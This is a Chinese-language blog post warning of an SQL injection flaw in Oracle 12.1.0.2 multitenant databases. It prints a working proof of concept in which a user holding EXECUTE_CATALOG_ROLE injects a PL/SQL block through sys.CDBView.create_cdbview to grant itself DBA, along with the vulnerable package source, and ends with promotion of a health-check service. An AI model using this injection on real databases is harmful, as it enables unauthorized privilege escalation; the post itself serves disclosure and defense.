eygle.com   eygle.com
eygle.com eygle
eygle.com  
 

« 不以规矩不成方圆:Digital Ocean也删除了他们的数据库 | Blog首页 | 如何修改 VirtualBox 虚拟机的磁盘大小 »

【安全警告】Oracle 12c 多租户的SQL注入高危风险防范
modb.pro

在使用Oracle多租户选件时,由于Container容器和PDB融合共存,则权限控制必将更加重要,在之前的文章中我们提到,Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。

我们在2016年『比特币事件』中,总结了数据安全的十六大军规其中有一条也明确提到最小权限守则,而且要真正实现权限管理

SQL注入攻击的风险

我们来看看如果权限控制不当,可能遭遇到的数据库安全风险。根据最近披露的风险之一,通过SQL注入可能影响数据库的安全,以下问题影响到多租户的12.1.0.2.0最新版本

假如我们在CDB中拥有一个普通用户,因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色:

SQL> connect / as sysdba

Connected.

SQL> create user c##eygle identified by eygle;

User created.

SQL> grant execute_catalog_role,create session to c##eygle;

Grant succeeded.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

---------------------------------------------

EXECUTE_CATALOG_ROLE

我们看看这一角色可能由此深入所做出的尝试,经常讨论的SQL注入也就在这个知识范畴之中。

当以下一个系列的SQL被执行之后,一个普通用户获得了DBA的权限,如果这是在一个多租户的环境中,这个提权将是非常危险的:

SQL> connect c##eygle/eygle

Connected.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

-----------------------------------------------------

EXECUTE_CATALOG_ROLE

SQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN /* ','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');

*

ERROR at line 1:

ORA-00905: missing keyword

ORA-06512: at "SYS.CDBVIEW", line 58

ORA-06512: at line 1

SQL> select /*+WITH_PLSQL*/ * from ALL_POLICIES;

X

-------

1

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

----------------------------

DBA

EXECUTE_CATALOG_ROLE

SQL> select banner from v$version;

BANNER

----------------------------------------------------------------------------------------

Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

PL/SQL Release 12.1.0.2.0 - Production

CORE 12.1.0.2.0 Production

TNS for Linux: Version 12.1.0.2.0 - Production

NLSRTL Version 12.1.0.2.0 - Production

当然作为资深的DBA来说,我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的,要严格控制这一权限的授予。这一注入,实际上是利用了 CDBView 包的校验漏洞,进行了注入提权。

sys.CDBView 的主要内容如下(在安装脚本中是明文的),风险来自于脚本内部的校验缺失:

create or replace package sys.CDBView as

----------------------------

-- PROCEDURES AND FUNCTIONS

--

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2);

end CDBView;

/

grant execute on sys.CDBView to execute_catalog_role

/

create or replace package body sys.CDBView is

-- Create the cdb view

-- private helper procedure to create the cdb view

-- Note that quotes should not be added around owner, oldview_name and

-- newview_name before create_cdbview is invoked since all three are used

-- as literals to query dictionary views.

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2) as

sqlstmt varchar2(4000);

col_name varchar2(128);

comments varchar2(4000);

col_type number;

upper_owner varchar2(128);

upper_oldview varchar2(128);

quoted_owner varchar2(130); -- 2 more than size of owner

quoted_oldview varchar2(130); -- 2 more than size of oldview_name

quoted_newview varchar2(130); -- 2 more than size of newview_name

cursor tblcommentscur is select c.comment$

from sys.obj$ o, sys.user$ u, sys.com$ c

where o.name = upper_oldview and u.name = upper_owner

and o.obj# = c.obj# and o.owner#=u.user# and o.type# = 4

and c.col# is null;

cursor colcommentscur is select c.name, co.comment$, c.type#

from sys.obj$ o, sys.col$ c, sys.user$ u, sys.com$ co

where o.name = upper_oldview and u.name = upper_owner

and o.owner# = u.user# and o.type# = 4 and o.obj# = c.obj#

and c.obj# = co.obj# and c.intcol# = co.col#

and bitand(c.property, 32) = 0;

begin

-- convert owner and view names to upper case

upper_owner := upper(owner);

upper_oldview := upper(oldview_name);

quoted_owner := '"' || upper_owner || '"';

quoted_oldview := '"' || upper_oldview || '"';

quoted_newview := '"' || upper(newview_name) || '"';

-- create cdb view

sqlstmt := 'CREATE OR REPLACE VIEW ' ||

quoted_owner || '.' || quoted_newview ||

' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' ||

quoted_owner || '.' || quoted_oldview || ')';

--dbms_output.put_line(sqlstmt);

execute immediate sqlstmt;

......

end if;

end loop;

close colcommentscur;

end;

end CDBView;

/

show errors;

/

安全风险无处不在,提高安全意识刻不容缓。

在云和恩墨的Bethune自动化巡检平台上,我们已经向着用户发出这一警示,强烈推荐大家通过Bethune ( https://bethune.enmotech.com )平台检测数据库的安全风险及性能状况,目前该平台完全免费

BethuneCatalog.jpeg

了解 Bethune 更多信息请访问:

这可能是全球最好的Oracle数据库健康检查平台

每一个优秀的DBA都值得拥有一款像Bethune一样优秀的运维助手!


最后,在使用白求恩平台的时候,有任何问题都可以通过页面上的反馈页面提交,或者加微信白求恩小助手(sunx5126)进行咨询。


加入"云和恩墨大讲堂"微信群,参与讨论学习

搜索 盖国强(Eygle)微信号:eyygle,或者扫描下面二维码,备注:云和恩墨大讲堂,即可入群。每周与千人共享免费技术分享,与讲师在线讨论。

YhemTalk.jpeg

关注公众号,获得后续精彩分享

Erweima.jpeg


历史上的今天...
    >> 2014-04-18文章:
    >> 2011-04-18文章:
    >> 2007-04-18文章:
    >> 2006-04-18文章:
    >> 2005-04-18文章:
           回到北京

By eygle on 2017-04-18 13:09 | Comments (0) | Advanced | 3247 |


CopyRight © 2004~2020 云和恩墨,成就未来!, All rights reserved.
数据恢复·紧急救援·性能优化 云和恩墨 24x7 热线电话:400-600-8755 业务咨询:010-59007017-7040 or 7037 业务合作: marketing@enmotech.com